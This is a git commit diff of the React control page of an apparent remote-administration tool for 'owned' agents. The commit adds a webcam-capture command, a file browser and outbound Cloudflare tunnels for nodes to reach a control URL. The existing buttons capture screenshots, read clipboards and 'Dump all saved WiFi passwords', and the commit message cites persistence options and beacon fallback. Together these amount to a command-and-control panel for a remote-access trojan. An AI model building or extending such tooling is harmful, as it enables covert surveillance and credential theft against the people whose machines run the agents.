feat: fleet ops, KEV scan, tunnels, beacon fallback, persistence

Extend owned-fleet control with scheduled tasks, audit log, file browser,
HTTPS beacon when WS drops, protocol tunnels, registry/autostart forge
options, KEV exposure in full sys check with Telegram alerts, and UI/tests.
This commit is contained in:
AetherForge
2026-06-04 09:34:33 -07:00
parent d52479c9a6
commit 5fc601b564
111 changed files with 5845 additions and 116 deletions

View File

@@ -13,7 +13,10 @@ import { useMatrixRain } from '../context/MatrixRainContext';
import { desktopPathHint, pushFileToAgentDesktop } from '../help/desktopPush';
import { parseFullSysCheckMessage, type FullSysCheckReport } from '../types/syscheck';
import FullSysCheckPanel from '../components/Fleet/FullSysCheckPanel';
import FileManager from '../components/Fleet/FileManager';
import ProtocolTunnelPanel from '../components/Fleet/ProtocolTunnelPanel';
import '../components/Fleet/FullSysCheckPanel.css';
import '../components/Fleet/ProtocolTunnelPanel.css';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
@@ -333,6 +336,7 @@ export default function CruciblePage() {
// Tunnel URL state
const [tunnelURL, setTunnelURL] = useState('');
const [tunnelStatusMsg, setTunnelStatusMsg] = useState('');
// SSH / posture overrides (from on-demand probes)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
@@ -346,6 +350,21 @@ export default function CruciblePage() {
const online = (a: Agent) => a.status === 'online';
const fmCommandResults = useMemo(
() =>
commandResults
?.filter((r) => r.agent_id && r.action != null)
.map((r) => ({
agentId: r.agent_id as string,
action: r.action as string,
success: !!r.success,
message: r.message ?? '',
})) ?? [],
[commandResults]
);
const singleSelectedAgent = selectedAgents.length === 1 ? selectedAgents[0] : null;
/** One online target selected — sidebar matrix switches to gold forge-style rain. */
const crucibleTargetReady =
selectedAgents.filter(online).length === 1 && selectedIds.size === 1;
@@ -385,6 +404,12 @@ export default function CruciblePage() {
const msg = r.message ?? '';
if (r.action === 'tunnel_status' && r.success && msg) {
if (selectedIds.size === 1 && selectedIds.has(aid)) {
setTunnelStatusMsg(msg);
}
}
// ── SSH badge updates ───────────────────────────────────────────────
if (msg.includes('SSH_PROBE:ONLINE')) {
setSshOverride((prev) => ({ ...prev, [aid]: true }));
@@ -396,7 +421,12 @@ export default function CruciblePage() {
let richData: RichTermData | undefined;
// Screenshot: result is a raw base64 PNG string (no JSON wrapper)
if (r.action === 'screenshot' && r.success && msg.length > 200 && /^[A-Za-z0-9+/]+=*$/.test(msg.trim())) {
if (
(r.action === 'screenshot' || r.action === 'camera_snapshot') &&
r.success &&
msg.length > 200 &&
/^[A-Za-z0-9+/]+=*$/.test(msg.trim())
) {
richData = { type: 'screenshot', b64: msg.trim() };
}
@@ -1352,13 +1382,14 @@ export default function CruciblePage() {
>
Full Sys Check
</button>
{(['screenshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
{(['screenshot','camera_snapshot','clipboard','wifi','software','ps','netstat','sysinfo','users'] as const).map((cmd) => (
<button
key={cmd}
className="button crucible-op-btn"
disabled={selectedIds.size === 0}
title={{
screenshot: 'Capture the desktop screenshot',
camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
clipboard: 'Read the current clipboard contents',
wifi: 'Dump all saved WiFi passwords',
software: 'List installed programs',
@@ -1539,8 +1570,8 @@ export default function CruciblePage() {
title="Open outbound Cloudflare tunnel (agent dials out — no inbound port required)"
onClick={() => {
const url = tunnelURL.trim() || '';
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'start_tunnel', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `start_tunnel → ${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
selectedAgents.filter(online).forEach((a) => api.sendAgentCommand(a.id, 'tunnel_cloudflared', { command: url }).catch(() => null));
setTermLines((prev) => [...prev, { id: mkId(), agentId: 'local', agentName: 'YOU', isCmd: true, text: `tunnel_cloudflared${selectedIds.size} node(s)${url ? ` (${url})` : ''}`, ts: new Date() }]);
}}
>
Start Tunnel
@@ -1669,6 +1700,16 @@ export default function CruciblePage() {
/>
</label>
</div>
{singleSelectedAgent && (
<div style={{ marginTop: '0.75rem' }}>
<FileManager
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
online={online(singleSelectedAgent)}
commandResults={fmCommandResults}
/>
</div>
)}
</div>
{/* ── Shell type ───────────────────────────────── */}
@@ -1811,12 +1852,41 @@ export default function CruciblePage() {
<div className="crucible-ssh-step">
<span className="css-num">4</span>
<div>
<strong>Remote (via tunnel)</strong> run the <code className="crucible-code">start_tunnel</code> action on the agent (use the Agents page), then the node punches out through your Cloudflare tunnel.
<strong>Remote (via tunnel)</strong> — use <code className="crucible-code">Protocol Tunneling</code> or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out through Cloudflare to your control URL.
</div>
</div>
</div>
</NeonCard>
{singleSelectedAgent && (
<NeonCard accent="cyan" className="crucible-tunnel-panel-wrap" tilt3d={false}>
<ProtocolTunnelPanel
agentId={singleSelectedAgent.id}
agentName={singleSelectedAgent.name}
online={singleSelectedAgent.status === 'online'}
caps={singleSelectedAgent.capabilities}
platform={singleSelectedAgent.platform}
compact
lastTunnelStatusMessage={tunnelStatusMsg}
busy={null}
onDispatch={async (action, args) => {
await api.sendAgentCommand(singleSelectedAgent.id, action, args);
setTermLines((prev) => [
...prev,
{
id: mkId(),
agentId: 'local',
agentName: 'YOU',
isCmd: true,
text: `${action}${singleSelectedAgent.name}`,
ts: new Date(),
},
]);
}}
/>
</NeonCard>
)}
<CreateGroupModal
open={showGroupModal}
agentCount={selectedIds.size}